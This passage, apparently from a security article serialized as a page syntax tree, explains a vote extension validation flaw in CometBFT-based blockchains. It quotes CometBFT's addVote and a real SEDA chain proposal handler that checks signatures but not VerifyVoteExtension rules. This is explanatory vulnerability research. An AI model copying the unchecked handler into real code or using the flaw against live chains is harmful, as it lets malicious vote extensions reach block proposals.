the leader into including invalid vote extensions into its ",{"type":23,"tag":154,"props":85368,"children":85370},{"className":85369},[],[85371],{"type":29,"value":85372},"Proposal",{"type":29,"value":357},{"type":23,"tag":4743,"props":85375,"children":85377},{"code":85376,"language":78229,"meta":7,"className":78230,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[85378],{"type":23,"tag":154,"props":85379,"children":85380},{"__ignoreMap":7},[85381,85493,85500,85507,85515,85523,85607,85614,85622,85676,85683,85704,85711,85783,85799,85806,85880,85936,85943,86005,86012,86019,86038,86045,86052,86059],{"type":23,"tag":504,"props":85382,"children":85383},{"class":5016,"line":5017},[85384,85388,85392,85397,85401,85406,85410,85415,85419,85424,85428,85432,85436,85441,85445,85450,85455,85459,85464,85468,85473,85477,85481,85485,85489],{"type":23,"tag":504,"props":85385,"children":85386},{"style":5030},[85387],{"type":29,"value":78365},{"type":23,"tag":504,"props":85389,"children":85390},{"style":5058},[85391],{"type":29,"value":5110},{"type":23,"tag":504,"props":85393,"children":85394},{"style":5041},[85395],{"type":29,"value":85396},"cs ",{"type":23,"tag":504,"props":85398,"children":85399},{"style":5047},[85400],{"type":29,"value":6613},{"type":23,"tag":504,"props":85402,"children":85403},{"style":5467},[85404],{"type":29,"value":85405},"State",{"type":23,"tag":504,"props":85407,"children":85408},{"style":5058},[85409],{"type":29,"value":5128},{"type":23,"tag":504,"props":85411,"children":85412},{"style":5139},[85413],{"type":29,"value":85414},"addVote",{"type":23,"tag":504,"props":85416,"children":85417},{"style":5058},[85418],{"type":29,"value":603},{"type":23,"tag":504,"props":85420,"children":85421},{"style":5041},[85422],{"type":29,"value":85423},"vote",{"type":23,"tag":504,"props":85425,"children":85426},{"style":5047},[85427],{"type":29,"value":11863},{"type":23,"tag":504,"props":85429,"children":85430},{"style":5467},[85431],{"type":29,"value":7804},{"type":23,"tag":504,"props":85433,"children":85434},{"style":5058},[85435],{"type":29,"value":357},{"type":23,"tag":504,"props":85437,"children":85438},{"style":5467},[85439],{"type":29,"value":85440},"Vote",{"type":23,"tag":504,"props":85442,"children":85443},{"style":5058},[85444],{"type":29,"value":4367},{"type":23,"tag":504,"props":85446,"children":85447},{"style":5041},[85448],{"type":29,"value":85449},"peerID",{"type":23,"tag":504,"props":85451,"children":85452},{"style":5467},[85453],{"type":29,"value":85454}," p2p",{"type":23,"tag":504,"props":85456,"children":85457},{"style":5058},[85458],{"type":29,"value":357},{"type":23,"tag":504,"props":85460,"children":85461},{"style":5467},[85462],{"type":29,"value":85463},"ID",{"type":23,"tag":504,"props":85465,"children":85466},{"style":5058},[85467],{"type":29,"value":78447},{"type":23,"tag":504,"props":85469,"children":85470},{"style":5041},[85471],{"type":29,"value":85472},"added",{"type":23,"tag":504,"props":85474,"children":85475},{"style":5467},[85476],{"type":29,"value":14096},{"type":23,"tag":504,"props":85478,"children":85479},{"style":5058},[85480],{"type":29,"value":4367},{"type":23,"tag":504,"props":85482,"children":85483},{"style":5041},[85484],{"type":29,"value":50483},{"type":23,"tag":504,"props":85486,"children":85487},{"style":5467},[85488],{"type":29,"value":16923},{"type":23,"tag":504,"props":85490,"children":85491},{"style":5058},[85492],{"type":29,"value":16850},{"type":23,"tag":504,"props":85494,"children":85495},{"class":5016,"line":4868},[85496],{"type":23,"tag":504,"props":85497,"children":85498},{"style":5047},[85499],{"type":29,"value":22392},{"type":23,"tag":504,"props":85501,"children":85502},{"class":5016,"line":4876},[85503],{"type":23,"tag":504,"props":85504,"children":85505},{"emptyLinePlaceholder":15},[85506],{"type":29,"value":5734},{"type":23,"tag":504,"props":85508,"children":85509},{"class":5016,"line":5099},[85510],{"type":23,"tag":504,"props":85511,"children":85512},{"style":5021},[85513],{"type":29,"value":85514},"    // A precommit for the previous height?\n",{"type":23,"tag":504,"props":85516,"children":85517},{"class":5016,"line":5203},[85518],{"type":23,"tag":504,"props":85519,"children":85520},{"style":5021},[85521],{"type":29,"value":85522},"    // These come in while we wait timeoutCommit\n",{"type":23,"tag":504,"props":85524,"children":85525},{"class":5016,"line":5308},[85526,85530,85535,85539,85544,85548,85552,85556,85561,85565,85569,85573,85577,85581,85586,85590,85594,85598,85603],{"type":23,"tag":504,"props":85527,"children":85528},{"style":5067},[85529],{"type":29,"value":14325},{"type":23,"tag":504,"props":85531,"children":85532},{"style":5041},[85533],{"type":29,"value":85534}," vote",{"type":23,"tag":504,"props":85536,"children":85537},{"style":5058},[85538],{"type":29,"value":357},{"type":23,"tag":504,"props":85540,"children":85541},{"style":5041},[85542],{"type":29,"value":85543},"Height",{"type":23,"tag":504,"props":85545,"children":85546},{"style":5047},[85547],{"type":29,"value":6422},{"type":23,"tag":504,"props":85549,"children":85550},{"style":5083},[85551],{"type":29,"value":826},{"type":23,"tag":504,"props":85553,"children":85554},{"style":5047},[85555],{"type":29,"value":5324},{"type":23,"tag":504,"props":85557,"children":85558},{"style":5041},[85559],{"type":29,"value":85560}," cs",{"type":23,"tag":504,"props":85562,"children":85563},{"style":5058},[85564],{"type":29,"value":357},{"type":23,"tag":504,"props":85566,"children":85567},{"style":5041},[85568],{"type":29,"value":85543},{"type":23,"tag":504,"props":85570,"children":85571},{"style":5047},[85572],{"type":29,"value":16231},{"type":23,"tag":504,"props":85574,"children":85575},{"style":5041},[85576],{"type":29,"value":85534},{"type":23,"tag":504,"props":85578,"children":85579},{"style":5058},[85580],{"type":29,"value":357},{"type":23,"tag":504,"props":85582,"children":85583},{"style":5041},[85584],{"type":29,"value":85585},"Type",{"type":23,"tag":504,"props":85587,"children":85588},{"style":5047},[85589],{"type":29,"value":5324},{"type":23,"tag":504,"props":85591,"children":85592},{"style":5041},[85593],{"type":29,"value":80239},{"type":23,"tag":504,"props":85595,"children":85596},{"style":5058},[85597],{"type":29,"value":357},{"type":23,"tag":504,"props":85599,"children":85600},{"style":5041},[85601],{"type":29,"value":85602},"PrecommitType",{"type":23,"tag":504,"props":85604,"children":85605},{"style":5058},[85606],{"type":29,"value":5333},{"type":23,"tag":504,"props":85608,"children":85609},{"class":5016,"line":5336},[85610],{"type":23,"tag":504,"props":85611,"children":85612},{"style":5047},[85613],{"type":29,"value":83906},{"type":23,"tag":504,"props":85615,"children":85616},{"class":5016,"line":5349},[85617],{"type":23,"tag":504,"props":85618,"children":85619},{"style":5021},[85620],{"type":29,"value":85621},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":504,"props":85623,"children":85624},{"class":5016,"line":5367},[85625,85630,85634,85638,85642,85646,85650,85655,85659,85664,85668,85672],{"type":23,"tag":504,"props":85626,"children":85627},{"style":5041},[85628],{"type":29,"value":85629},"        added",{"type":23,"tag":504,"props":85631,"children":85632},{"style":5058},[85633],{"type":29,"value":4367},{"type":23,"tag":504,"props":85635,"children":85636},{"style":5041},[85637],{"type":29,"value":50483},{"type":23,"tag":504,"props":85639,"children":85640},{"style":5047},[85641],{"type":29,"value":5050},{"type":23,"tag":504,"props":85643,"children":85644},{"style":5041},[85645],{"type":29,"value":85560},{"type":23,"tag":504,"props":85647,"children":85648},{"style":5058},[85649],{"type":29,"value":357},{"type":23,"tag":504,"props":85651,"children":85652},{"style":5041},[85653],{"type":29,"value":85654},"LastCommit",{"type":23,"tag":504,"props":85656,"children":85657},{"style":5058},[85658],{"type":29,"value":357},{"type":23,"tag":504,"props":85660,"children":85661},{"style":5139},[85662],{"type":29,"value":85663},"AddVote",{"type":23,"tag":504,"props":85665,"children":85666},{"style":5058},[85667],{"type":29,"value":603},{"type":23,"tag":504,"props":85669,"children":85670},{"style":5041},[85671],{"type":29,"value":85423},{"type":23,"tag":504,"props":85673,"children":85674},{"style":5058},[85675],{"type":29,"value":5200},{"type":23,"tag":504,"props":85677,"children":85678},{"class":5016,"line":5388},[85679],{"type":23,"tag":504,"props":85680,"children":85681},{"style":5047},[85682],{"type":29,"value":83906},{"type":23,"tag":504,"props":85684,"children":85685},{"class":5016,"line":5397},[85686,85690,85695,85699],{"type":23,"tag":504,"props":85687,"children":85688},{"style":5067},[85689],{"type":29,"value":17791},{"type":23,"tag":504,"props":85691,"children":85692},{"style":5041},[85693],{"type":29,"value":85694}," added",{"type":23,"tag":504,"props":85696,"children":85697},{"style":5058},[85698],{"type":29,"value":4367},{"type":23,"tag":504,"props":85700,"children":85701},{"style":5041},[85702],{"type":29,"value":85703},"err\n",{"type":23,"tag":504,"props":85705,"children":85706},{"class":5016,"line":5649},[85707],{"type":23,"tag":504,"props":85708,"children":85709},{"style":5058},[85710],{"type":29,"value":5403},{"type":23,"tag":504,"props":85712,"children":85713},{"class":5016,"line":5666},[85714,85719,85723,85727,85731,85736,85740,85745,85749,85754,85758,85763,85767,85771,85775,85779],{"type":23,"tag":504,"props":85715,"children":85716},{"style":5041},[85717],{"type":29,"value":85718},"    extEnabled",{"type":23,"tag":504,"props":85720,"children":85721},{"style":5047},[85722],{"type":29,"value":78481},{"type":23,"tag":504,"props":85724,"children":85725},{"style":5041},[85726],{"type":29,"value":85560},{"type":23,"tag":504,"props":85728,"children":85729},{"style":5058},[85730],{"type":29,"value":357},{"type":23,"tag":504,"props":85732,"children":85733},{"style":5041},[85734],{"type":29,"value":85735},"state",{"type":23,"tag":504,"props":85737,"children":85738},{"style":5058},[85739],{"type":29,"value":357},{"type":23,"tag":504,"props":85741,"children":85742},{"style":5041},[85743],{"type":29,"value":85744},"ConsensusParams",{"type":23,"tag":504,"props":85746,"children":85747},{"style":5058},[85748],{"type":29,"value":357},{"type":23,"tag":504,"props":85750,"children":85751},{"style":5041},[85752],{"type":29,"value":85753},"Feature",{"type":23,"tag":504,"props":85755,"children":85756},{"style":5058},[85757],{"type":29,"value":357},{"type":23,"tag":504,"props":85759,"children":85760},{"style":5139},[85761],{"type":29,"value":85762},"VoteExtensionsEnabled",{"type":23,"tag":504,"props":85764,"children":85765},{"style":5058},[85766],{"type":29,"value":603},{"type":23,"tag":504,"props":85768,"children":85769},{"style":5041},[85770],{"type":29,"value":85423},{"type":23,"tag":504,"props":85772,"children":85773},{"style":5058},[85774],{"type":29,"value":357},{"type":23,"tag":504,"props":85776,"children":85777},{"style":5041},[85778],{"type":29,"value":85543},{"type":23,"tag":504,"props":85780,"children":85781},{"style":5058},[85782],{"type":29,"value":5200},{"type":23,"tag":504,"props":85784,"children":85785},{"class":5016,"line":5683},[85786,85790,85795],{"type":23,"tag":504,"props":85787,"children":85788},{"style":5067},[85789],{"type":29,"value":14325},{"type":23,"tag":504,"props":85791,"children":85792},{"style":5041},[85793],{"type":29,"value":85794}," extEnabled",{"type":23,"tag":504,"props":85796,"children":85797},{"style":5058},[85798],{"type":29,"value":5333},{"type":23,"tag":504,"props":85800,"children":85801},{"class":5016,"line":5696},[85802],{"type":23,"tag":504,"props":85803,"children":85804},{"style":5047},[85805],{"type":29,"value":83906},{"type":23,"tag":504,"props":85807,"children":85808},{"class":5016,"line":5705},[85809,85813,85817,85821,85825,85829,85833,85837,85841,85845,85849,85853,85857,85862,85866,85871,85875],{"type":23,"tag":504,"props":85810,"children":85811},{"style":5067},[85812],{"type":29,"value":5314},{"type":23,"tag":504,"props":85814,"children":85815},{"style":5041},[85816],{"type":29,"value":85534},{"type":23,"tag":504,"props":85818,"children":85819},{"style":5058},[85820],{"type":29,"value":357},{"type":23,"tag":504,"props":85822,"children":85823},{"style":5041},[85824],{"type":29,"value":85585},{"type":23,"tag":504,"props":85826,"children":85827},{"style":5047},[85828],{"type":29,"value":5324},{"type":23,"tag":504,"props":85830,"children":85831},{"style":5041},[85832],{"type":29,"value":80239},{"type":23,"tag":504,"props":85834,"children":85835},{"style":5058},[85836],{"type":29,"value":357},{"type":23,"tag":504,"props":85838,"children":85839},{"style":5041},[85840],{"type":29,"value":85602},{"type":23,"tag":504,"props":85842,"children":85843},{"style":5047},[85844],{"type":29,"value":16231},{"type":23,"tag":504,"props":85846,"children":85847},{"style":5047},[85848],{"type":29,"value":14910},{"type":23,"tag":504,"props":85850,"children":85851},{"style":5041},[85852],{"type":29,"value":85423},{"type":23,"tag":504,"props":85854,"children":85855},{"style":5058},[85856],{"type":29,"value":357},{"type":23,"tag":504,"props":85858,"children":85859},{"style":5041},[85860],{"type":29,"value":85861},"BlockID",{"type":23,"tag":504,"props":85863,"children":85864},{"style":5058},[85865],{"type":29,"value":357},{"type":23,"tag":504,"props":85867,"children":85868},{"style":5139},[85869],{"type":29,"value":85870},"IsNil",{"type":23,"tag":504,"props":85872,"children":85873},{"style":5058},[85874],{"type":29,"value":16089},{"type":23,"tag":504,"props":85876,"children":85877},{"style":5047},[85878],{"type":29,"value":85879},"&&\n",{"type":23,"tag":504,"props":85881,"children":85882},{"class":5016,"line":5728},[85883,85888,85893,85897,85901,85905,85909,85913,85918,85922,85927,85931],{"type":23,"tag":504,"props":85884,"children":85885},{"style":5047},[85886],{"type":29,"value":85887},"            !",{"type":23,"tag":504,"props":85889,"children":85890},{"style":5041},[85891],{"type":29,"value":85892},"bytes",{"type":23,"tag":504,"props":85894,"children":85895},{"style":5058},[85896],{"type":29,"value":357},{"type":23,"tag":504,"props":85898,"children":85899},{"style":5139},[85900],{"type":29,"value":84362},{"type":23,"tag":504,"props":85902,"children":85903},{"style":5058},[85904],{"type":29,"value":603},{"type":23,"tag":504,"props":85906,"children":85907},{"style":5041},[85908],{"type":29,"value":85423},{"type":23,"tag":504,"props":85910,"children":85911},{"style":5058},[85912],{"type":29,"value":357},{"type":23,"tag":504,"props":85914,"children":85915},{"style":5041},[85916],{"type":29,"value":85917},"ValidatorAddress",{"type":23,"tag":504,"props":85919,"children":85920},{"style":5058},[85921],{"type":29,"value":4367},{"type":23,"tag":504,"props":85923,"children":85924},{"style":5041},[85925],{"type":29,"value":85926},"myAddr",{"type":23,"tag":504,"props":85928,"children":85929},{"style":5058},[85930],{"type":29,"value":26041},{"type":23,"tag":504,"props":85932,"children":85933},{"style":5021},[85934],{"type":29,"value":85935},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":504,"props":85937,"children":85938},{"class":5016,"line":5737},[85939],{"type":23,"tag":504,"props":85940,"children":85941},{"style":5047},[85942],{"type":29,"value":84582},{"type":23,"tag":504,"props":85944,"children":85945},{"class":5016,"line":5746},[85946,85950,85954,85958,85962,85967,85971,85975,85979,85984,85988,85993,85997,86001],{"type":23,"tag":504,"props":85947,"children":85948},{"style":5041},[85949],{"type":29,"value":84400},{"type":23,"tag":504,"props":85951,"children":85952},{"style":5047},[85953],{"type":29,"value":78481},{"type":23,"tag":504,"props":85955,"children":85956},{"style":5041},[85957],{"type":29,"value":85560},{"type":23,"tag":504,"props":85959,"children":85960},{"style":5058},[85961],{"type":29,"value":357},{"type":23,"tag":504,"props":85963,"children":85964},{"style":5041},[85965],{"type":29,"value":85966},"blockExec",{"type":23,"tag":504,"props":85968,"children":85969},{"style":5058},[85970],{"type":29,"value":357},{"type":23,"tag":504,"props":85972,"children":85973},{"style":5139},[85974],{"type":29,"value":85228},{"type":23,"tag":504,"props":85976,"children":85977},{"style":5058},[85978],{"type":29,"value":603},{"type":23,"tag":504,"props":85980,"children":85981},{"style":5041},[85982],{"type":29,"value":85983},"context",{"type":23,"tag":504,"props":85985,"children":85986},{"style":5058},[85987],{"type":29,"value":357},{"type":23,"tag":504,"props":85989,"children":85990},{"style":5139},[85991],{"type":29,"value":85992},"TODO",{"type":23,"tag":504,"props":85994,"children":85995},{"style":5058},[85996],{"type":29,"value":20425},{"type":23,"tag":504,"props":85998,"children":85999},{"style":5041},[86000],{"type":29,"value":85423},{"type":23,"tag":504,"props":86002,"children":86003},{"style":5058},[86004],{"type":29,"value":5200},{"type":23,"tag":504,"props":86006,"children":86007},{"class":5016,"line":5813},[86008],{"type":23,"tag":504,"props":86009,"children":86010},{"style":5047},[86011],{"type":29,"value":84582},{"type":23,"tag":504,"props":86013,"children":86014},{"class":5016,"line":5821},[86015],{"type":23,"tag":504,"props":86016,"children":86017},{"style":5058},[86018],{"type":29,"value":5394},{"type":23,"tag":504,"props":86020,"children":86021},{"class":5016,"line":5851},[86022,86026,86030,86034],{"type":23,"tag":504,"props":86023,"children":86024},{"style":5058},[86025],{"type":29,"value":17826},{"type":23,"tag":504,"props":86027,"children":86028},{"style":5067},[86029],{"type":29,"value":5360},{"type":23,"tag":504,"props":86031,"children":86032},{"style":5067},[86033],{"type":29,"value":17835},{"type":23,"tag":504,"props":86035,"children":86036},{"style":5058},[86037],{"type":29,"value":5333},{"type":23,"tag":504,"props":86039,"children":86040},{"class":5016,"line":5859},[86041],{"type":23,"tag":504,"props":86042,"children":86043},{"style":5047},[86044],{"type":29,"value":83906},{"type":23,"tag":504,"props":86046,"children":86047},{"class":5016,"line":5891},[86048],{"type":23,"tag":504,"props":86049,"children":86050},{"style":5058},[86051],{"type":29,"value":5403},{"type":23,"tag":504,"props":86053,"children":86054},{"class":5016,"line":5899},[86055],{"type":23,"tag":504,"props":86056,"children":86057},{"style":5047},[86058],{"type":29,"value":22392},{"type":23,"tag":504,"props":86060,"children":86061},{"class":5016,"line":5959},[86062],{"type":23,"tag":504,"props":86063,"children":86064},{"style":5058},[86065],{"type":29,"value":5965},{"type":23,"tag":32,"props":86067,"children":86068},{},[86069],{"type":29,"value":86070},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":320,"props":86072,"children":86074},{"id":86073},"real-world-examples-4",[86075],{"type":29,"value":78754},{"type":23,"tag":32,"props":86077,"children":86078},{},[86079,86081,86086,86088,86094,86096,86102],{"type":29,"value":86080},"An example of the bug we just described is shown here. ",{"type":23,"tag":154,"props":86082,"children":86084},{"className":86083},[],[86085],{"type":29,"value":85207},{"type":29,"value":86087}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":154,"props":86089,"children":86091},{"className":86090},[],[86092],{"type":29,"value":86093},"ValidateVoteExtension",{"type":29,"value":86095}," but does not verify it against the rules in ",{"type":23,"tag":154,"props":86097,"children":86099},{"className":86098},[],[86100],{"type":29,"value":86101},"VerifyVoteExtention.",{"type":29,"value":86103}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":32,"props":86105,"children":86106},{},[86107],{"type":23,"tag":68,"props":86108,"children":86111},{"href":86109,"rel":86110},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[72],[86112],{"type":29,"value":78804},{"type":23,"tag":4743,"props":86114,"children":86116},{"code":86115,"language":78229,"meta":7,"className":78230,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[86117],{"type":23,"tag":154,"props":86118,"children":86119},{"__ignoreMap":7},[86120,86174,86265,86272,86293,86360,86368,86472,86495,86514,86521,86575,86598,86653,86672,86679,86686,86693,86747,86754,86780,86803,86855,86917,86924,86951,86971,86983,86990],{"type":23,"tag":504,"props":86121,"children":86122},{"class":5016,"line":5017},[86123,86127,86131,86136,86140,86145,86149,86154,86158,86162,86166,86170],{"type":23,"tag":504,"props":86124,"children":86125},{"style":5030},[86126],{"type":29,"value":78365},{"type":23,"tag":504,"props":86128,"children":86129},{"style":5058},[86130],{"type":29,"value":5110},{"type":23,"tag":504,"props":86132,"children":86133},{"style":5041},[86134],{"type":29,"value":86135},"h ",{"type":23,"tag":504,"props":86137,"children":86138},{"style":5047},[86139],{"type":29,"value":6613},{"type":23,"tag":504,"props":86141,"children":86142},{"style":5467},[86143],{"type":29,"value":86144},"Handlers",{"type":23,"tag":504,"props":86146,"children":86147},{"style":5058},[86148],{"type":29,"value":5128},{"type":23,"tag":504,"props":86150,"children":86151},{"style":5139},[86152],{"type":29,"value":86153},"PrepareProposalHandler",{"type":23,"tag":504,"props":86155,"children":86156},{"style":5058},[86157],{"type":29,"value":16089},{"type":23,"tag":504,"props":86159,"children":86160},{"style":5467},[86161],{"type":29,"value":80794},{"type":23,"tag":504,"props":86163,"children":86164},{"style":5058},[86165],{"type":29,"value":357},{"type":23,"tag":504,"props":86167,"children":86168},{"style":5467},[86169],{"type":29,"value":86153},{"type":23,"tag":504,"props":86171,"children":86172},{"style":5058},[86173],{"type":29,"value":5333},{"type":23,"tag":504,"props":86175,"children":86176},{"class":5016,"line":4868},[86177,86181,86185,86189,86193,86197,86201,86205,86209,86214,86218,86223,86227,86232,86236,86240,86244,86248,86253,86257,86261],{"type":23,"tag":504,"props":86178,"children":86179},{"style":5067},[86180],{"type":29,"value":19037},{"type":23,"tag":504,"props":86182,"children":86183},{"style":5030},[86184],{"type":29,"value":82073},{"type":23,"tag":504,"props":86186,"children":86187},{"style":5058},[86188],{"type":29,"value":603},{"type":23,"tag":504,"props":86190,"children":86191},{"style":5041},[86192],{"type":29,"value":22333},{"type":23,"tag":504,"props":86194,"children":86195},{"style":5467},[86196],{"type":29,"value":80705},{"type":23,"tag":504,"props":86198,"children":86199},{"style":5058},[86200],{"type":29,"value":357},{"type":23,"tag":504,"props":86202,"children":86203},{"style":5467},[86204],{"type":29,"value":78414},{"type":23,"tag":504,"props":86206,"children":86207},{"style":5058},[86208],{"type":29,"value":4367},{"type":23,"tag":504,"props":86210,"children":86211},{"style":5041},[86212],{"type":29,"value":86213},"req",{"type":23,"tag":504,"props":86215,"children":86216},{"style":5047},[86217],{"type":29,"value":11863},{"type":23,"tag":504,"props":86219,"children":86220},{"style":5467},[86221],{"type":29,"value":86222},"abcitypes",{"type":23,"tag":504,"props":86224,"children":86225},{"style":5058},[86226],{"type":29,"value":357},{"type":23,"tag":504,"props":86228,"children":86229},{"style":5467},[86230],{"type":29,"value":86231},"RequestPrepareProposal",{"type":23,"tag":504,"props":86233,"children":86234},{"style":5058},[86235],{"type":29,"value":78447},{"type":23,"tag":504,"props":86237,"children":86238},{"style":5047},[86239],{"type":29,"value":6613},{"type":23,"tag":504,"props":86241,"children":86242},{"style":5467},[86243],{"type":29,"value":86222},{"type":23,"tag":504,"props":86245,"children":86246},{"style":5058},[86247],{"type":29,"value":357},{"type":23,"tag":504,"props":86249,"children":86250},{"style":5467},[86251],{"type":29,"value":86252},"ResponsePrepareProposal",{"type":23,"tag":504,"props":86254,"children":86255},{"style":5058},[86256],{"type":29,"value":4367},{"type":23,"tag":504,"props":86258,"children":86259},{"style":5467},[86260],{"type":29,"value":16910},{"type":23,"tag":504,"props":86262,"children":86263},{"style":5058},[86264],{"type":29,"value":16850},{"type":23,"tag":504,"props":86266,"children":86267},{"class":5016,"line":4876},[86268],{"type":23,"tag":504,"props":86269,"children":86270},{"style":5047},[86271],{"type":29,"value":83906},{"type":23,"tag":504,"props":86273,"children":86274},{"class":5016,"line":5099},[86275,86279,86284,86288],{"type":23,"tag":504,"props":86276,"children":86277},{"style":5030},[86278],{"type":29,"value":82182},{"type":23,"tag":504,"props":86280,"children":86281},{"style":5041},[86282],{"type":29,"value":86283}," injection",{"type":23,"tag":504,"props":86285,"children":86286},{"style":5058},[86287],{"type":29,"value":78292},{"type":23,"tag":504,"props":86289,"children":86290},{"style":5467},[86291],{"type":29,"value":86292},"byte\n",{"type":23,"tag":504,"props":86294,"children":86295},{"class":5016,"line":5203},[86296,86300,86305,86309,86313,86317,86321,86325,86329,86333,86338,86342,86347,86351,86356],{"type":23,"tag":504,"props":86297,"children":86298},{"style":5067},[86299],{"type":29,"value":5314},{"type":23,"tag":504,"props":86301,"children":86302},{"style":5041},[86303],{"type":29,"value":86304}," req",{"type":23,"tag":504,"props":86306,"children":86307},{"style":5058},[86308],{"type":29,"value":357},{"type":23,"tag":504,"props":86310,"children":86311},{"style":5041},[86312],{"type":29,"value":85543},{"type":23,"tag":504,"props":86314,"children":86315},{"style":5047},[86316],{"type":29,"value":16240},{"type":23,"tag":504,"props":86318,"children":86319},{"style":5041},[86320],{"type":29,"value":27896},{"type":23,"tag":504,"props":86322,"children":86323},{"style":5058},[86324],{"type":29,"value":357},{"type":23,"tag":504,"props":86326,"children":86327},{"style":5139},[86328],{"type":29,"value":85744},{"type":23,"tag":504,"props":86330,"children":86331},{"style":5058},[86332],{"type":29,"value":32223},{"type":23,"tag":504,"props":86334,"children":86335},{"style":5041},[86336],{"type":29,"value":86337},"Abci",{"type":23,"tag":504,"props":86339,"children":86340},{"style":5058},[86341],{"type":29,"value":357},{"type":23,"tag":504,"props":86343,"children":86344},{"style":5041},[86345],{"type":29,"value":86346},"VoteExtensionsEnableHeight",{"type":23,"tag":504,"props":86348,"children":86349},{"style":5047},[86350],{"type":29,"value":16231},{"type":23,"tag":504,"props":86352,"children":86353},{"style":5041},[86354],{"type":29,"value":86355}," collectSigs",{"type":23,"tag":504,"props":86357,"children":86358},{"style":5058},[86359],{"type":29,"value":5333},{"type":23,"tag":504,"props":86361,"children":86362},{"class":5016,"line":5308},[86363],{"type":23,"tag":504,"props":86364,"children":86365},{"style":5021},[86366],{"type":29,"value":86367},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":504,"props":86369,"children":86370},{"class":5016,"line":5336},[86371,86375,86379,86384,86388,86393,86397,86401,86405,86409,86413,86418,86422,86426,86430,86434,86438,86442,86446,86451,86455,86459,86463,86468],{"type":23,"tag":504,"props":86372,"children":86373},{"style":5041},[86374],{"type":29,"value":84400},{"type":23,"tag":504,"props":86376,"children":86377},{"style":5047},[86378],{"type":29,"value":78481},{"type":23,"tag":504,"props":86380,"children":86381},{"style":5041},[86382],{"type":29,"value":86383}," baseapp",{"type":23,"tag":504,"props":86385,"children":86386},{"style":5058},[86387],{"type":29,"value":357},{"type":23,"tag":504,"props":86389,"children":86390},{"style":5139},[86391],{"type":29,"value":86392},"ValidateVoteExtensions",{"type":23,"tag":504,"props":86394,"children":86395},{"style":5058},[86396],{"type":29,"value":603},{"type":23,"tag":504,"props":86398,"children":86399},{"style":5041},[86400],{"type":29,"value":22333},{"type":23,"tag":504,"props":86402,"children":86403},{"style":5058},[86404],{"type":29,"value":4367},{"type":23,"tag":504,"props":86406,"children":86407},{"style":5041},[86408],{"type":29,"value":533},{"type":23,"tag":504,"props":86410,"children":86411},{"style":5058},[86412],{"type":29,"value":357},{"type":23,"tag":504,"props":86414,"children":86415},{"style":5041},[86416],{"type":29,"value":86417},"stakingKeeper",{"type":23,"tag":504,"props":86419,"children":86420},{"style":5058},[86421],{"type":29,"value":4367},{"type":23,"tag":504,"props":86423,"children":86424},{"style":5041},[86425],{"type":29,"value":86213},{"type":23,"tag":504,"props":86427,"children":86428},{"style":5058},[86429],{"type":29,"value":357},{"type":23,"tag":504,"props":86431,"children":86432},{"style":5041},[86433],{"type":29,"value":85543},{"type":23,"tag":504,"props":86435,"children":86436},{"style":5058},[86437],{"type":29,"value":4367},{"type":23,"tag":504,"props":86439,"children":86440},{"style":5041},[86441],{"type":29,"value":22333},{"type":23,"tag":504,"props":86443,"children":86444},{"style":5058},[86445],{"type":29,"value":357},{"type":23,"tag":504,"props":86447,"children":86448},{"style":5139},[86449],{"type":29,"value":86450},"ChainID",{"type":23,"tag":504,"props":86452,"children":86453},{"style":5058},[86454],{"type":29,"value":20425},{"type":23,"tag":504,"props":86456,"children":86457},{"style":5041},[86458],{"type":29,"value":86213},{"type":23,"tag":504,"props":86460,"children":86461},{"style":5058},[86462],{"type":29,"value":357},{"type":23,"tag":504,"props":86464,"children":86465},{"style":5041},[86466],{"type":29,"value":86467},"LocalLastCommit",{"type":23,"tag":504,"props":86469,"children":86470},{"style":5058},[86471],{"type":29,"value":5200},{"type":23,"tag":504,"props":86473,"children":86474},{"class":5016,"line":5349},[86475,86479,86483,86487,86491],{"type":23,"tag":504,"props":86476,"children":86477},{"style":5067},[86478],{"type":29,"value":60862},{"type":23,"tag":504,"props":86480,"children":86481},{"style":5041},[86482],{"type":29,"value":50584},{"type":23,"tag":504,"props":86484,"children":86485},{"style":5047},[86486],{"type":29,"value":66449},{"type":23,"tag":504,"props":86488,"children":86489},{"style":5030},[86490],{"type":29,"value":83982},{"type":23,"tag":504,"props":86492,"children":86493},{"style":5058},[86494],{"type"